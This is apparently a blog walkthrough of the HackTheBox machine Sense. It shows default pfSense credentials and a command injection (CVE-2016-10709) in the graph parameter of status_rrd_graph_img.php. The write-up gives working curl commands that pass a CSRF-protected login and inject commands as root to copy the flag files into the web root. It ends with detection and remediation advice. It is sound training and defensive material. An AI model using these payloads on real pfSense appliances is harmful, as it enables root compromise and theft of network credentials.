Skip to content
Back to all posts

HTB: Sense

· 14 min easy Other Sense

Default credentials and a plaintext credential disclosure file on a pfSense 2.1.3 appliance lead to authenticated command injection (CVE-2016-10709) running as root. The box demonstrates why network appliances are high-value targets: they run as root by design.

Overview

Sense runs pfSense 2.1.3 on FreeBSD 10.1. The attack surface is limited to the web management interface on HTTPS (port 443). A plaintext file in the web root (/system-users.txt) discloses a username with a note to use the “company default” password, which for pfSense is pfsense. Authenticated access to the management interface enables exploitation of CVE-2016-10709, a command injection in the status_rrd_graph_img.php endpoint’s graph parameter.

The critical detail: pfSense runs its web interface as root. There is no privilege escalation step. Initial exploitation immediately yields full system access. This is by design; pfSense needs root to modify firewall rules, network interfaces, and routing tables. It is also why firewall appliance compromise is among the worst outcomes in network security.

Reconnaissance

I start with a service-version scan:

nmap -sC -sV -oA scans/sense 10.129.15.23
PortServiceProduct / VersionNotes
80HTTPlighttpd 1.4.35Redirects to HTTPS
443HTTPSlighttpd 1.4.35pfSense 2.x web interface

Port 80 issues an HTTP redirect to HTTPS. The SSL certificate is expired and carries the hostname sense.htb. The login page confirms pfSense. No other ports are open.

Attack Surface Analysis

Directory discovery

gobuster dir -u https://10.129.15.23 -w /usr/share/seclists/Discovery/Web-Content/common.txt \
  -k -t 40 -x txt,php,html
PathNotes
/system-users.txtPlaintext credentials file
/changelog.txtVersion and patch history
/index.phppfSense login (CSRF-protected)
/xmlrpc.phpXML-RPC endpoint (requires auth)

Credential discovery

/system-users.txt contains:

####Support ticket###

Please create the following user

username: Rohit
password: company default

The “company default” password for pfSense is pfsense. This is documented in pfSense’s own default credentials reference.

/changelog.txt confirms pfSense 2.1.3 with one outstanding security patch explicitly noted as unapplied.

CVE research

AttributeValue
CVECVE-2016-10709
CVSS v38.8 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)
CWECWE-78 (OS Command Injection)
Root causeUnsanitised graph parameter passed into shell pipeline
AffectedpfSense < 2.3
Fixed inpfSense 2.3
MITRE ATT&CKT1059.004 (Unix Shell)

Vulnerability Analysis

The status_rrd_graph_img.php endpoint accepts a graph parameter that specifies an RRD graph filename. This value is concatenated into a shell command that invokes rrdtool. The parameter is not sanitised before insertion into the pipeline. Using pipe syntax (file|cmd|echo), arbitrary commands are injected between pipeline stages.

The trailing |echo closes the pipeline cleanly and suppresses rrdtool errors. The injected command executes in the context of the web server process, which on pfSense is root.

The vulnerability requires authentication but no special privileges. Any valid pfSense user account is sufficient. Combined with the default password disclosure, this is effectively unauthenticated RCE.

Exploitation

Authentication

pfSense login uses CSRF tokens. The flow requires extracting the token from the login page first:

# Extract CSRF token
TOKEN=$(curl -sk https://10.129.15.23/index.php \
  | grep -oP 'csrfMagicToken[^"]*"[^"]*"' \
  | head -1 | grep -oP 'sid:[^"]+')

# Authenticate
curl -sk -c cookies.txt -X POST https://10.129.15.23/index.php \
  -d "usernamefld=rohit&passwordfld=pfsense&login=Login&__csrf_magic=sid:${TOKEN}"

Command injection via graph parameter

curl -sk -b cookies.txt \
  "https://10.129.15.23/status_rrd_graph_img.php?database=queues&graph=queues-hva.rrd|id|echo"

The response includes the output of id:

uid=0(root) gid=0(root) groups=0(wheel)

Root. No privilege escalation needed.

Flag extraction via web root staging

Reverse shells failed; the pfSense appliance blocks outbound connections. The alternative is copying files to the web root and retrieving them via HTTPS:

# User flag
curl -sk -b cookies.txt \
  "https://10.129.15.23/status_rrd_graph_img.php?database=queues&graph=queues-hva.rrd|cp+/home/rohit/user.txt+/usr/local/www/flag.txt|echo"
curl -sk https://10.129.15.23/flag.txt
# [redacted]

# Root flag
curl -sk -b cookies.txt \
  "https://10.129.15.23/status_rrd_graph_img.php?database=queues&graph=queues-hva.rrd|cp+/root/root.txt+/usr/local/www/flag.txt|echo"
curl -sk https://10.129.15.23/flag.txt
# [redacted]

Post-Exploitation

The RCE runs as root (uid=0). There is no intermediate user shell and no privilege escalation step.

OS: FreeBSD 10.1-RELEASE-p9
User: root (uid=0, gid=0, groups=wheel)
Web root: /usr/local/www/
pfSense version: 2.1.3-RELEASE

In a real engagement, a compromised pfSense appliance provides: full network topology visibility (all firewall rules, interfaces, routes, VPN configurations), credential access (user database, VPN pre-shared keys, RADIUS secrets), and the ability to modify firewall rules to enable lateral movement. The configuration XML at /diag_backup.php contains all of this.

Defensive Analysis

Detection opportunities

PhaseMITRE ATT&CKDetection
Initial accessT1078.001Authentication logs showing login with default credentials
ExecutionT1059.004Web server logs with pipe characters in graph parameter
ExfiltrationT1567File creation in web root (/usr/local/www/) by non-web process

Web server logs: The graph parameter containing pipe characters and OS commands is a clear indicator. Any request to status_rrd_graph_img.php with | in the query string should be flagged.

Authentication monitoring: pfSense logs authentication events. Failed and successful logins from unexpected source IPs should trigger alerts. Default credential usage can be detected by monitoring for the rohit account (or any account known to use defaults).

File integrity monitoring: New files appearing in /usr/local/www/ that were not placed by the package manager indicate post-exploitation activity.

Remediation

PriorityActionEffortImpact
P0Upgrade pfSense to 2.3 or later (current stable)MediumCritical
P0Remove /system-users.txt from web rootLowCritical
P0Change all passwords from defaults immediatelyLowCritical
P1Restrict management interface access by source IPLowHigh
P1Purge web root of non-application filesLowHigh
P2Renew or replace the expired TLS certificateLowMedium
P2Enable two-factor authentication for admin accessMediumMedium

The deeper issue is that pfSense runs as root by design. Every authenticated vulnerability in the web interface is a root compromise. This makes access control to the management interface the primary security boundary. Restricting it to specific management hosts or a dedicated VLAN is not optional; it is the most important defensive control for any network appliance.

Key Takeaways

  1. Network appliances run as root by design. Firewalls, routers, and load balancers need root to manage network interfaces, routing tables, and packet filtering. Any authenticated RCE in the management interface yields full system access. This makes access control to the management plane the primary security control, not patching.

  2. Default credentials are still everywhere. The pfSense default password is pfsense, documented in their own installation guide. Combined with a credential disclosure file in the web root, this box had zero effective authentication. Every deployment checklist must include a forced password change before network exposure.

  3. When reverse shells fail, stage to the web root. If the target runs a web server and you have write access to the document root, copy files there and retrieve them via HTTP. No outbound connection required. Clean up after yourself by deleting the staged files.

  4. Pipe injection differs from semicolon injection. The graph parameter is interpolated mid-pipeline, so semicolons don’t work. The correct syntax is file|cmd|echo, which inserts a command between two pipeline stages. Understanding how the injection point sits within the shell command determines which metacharacters work.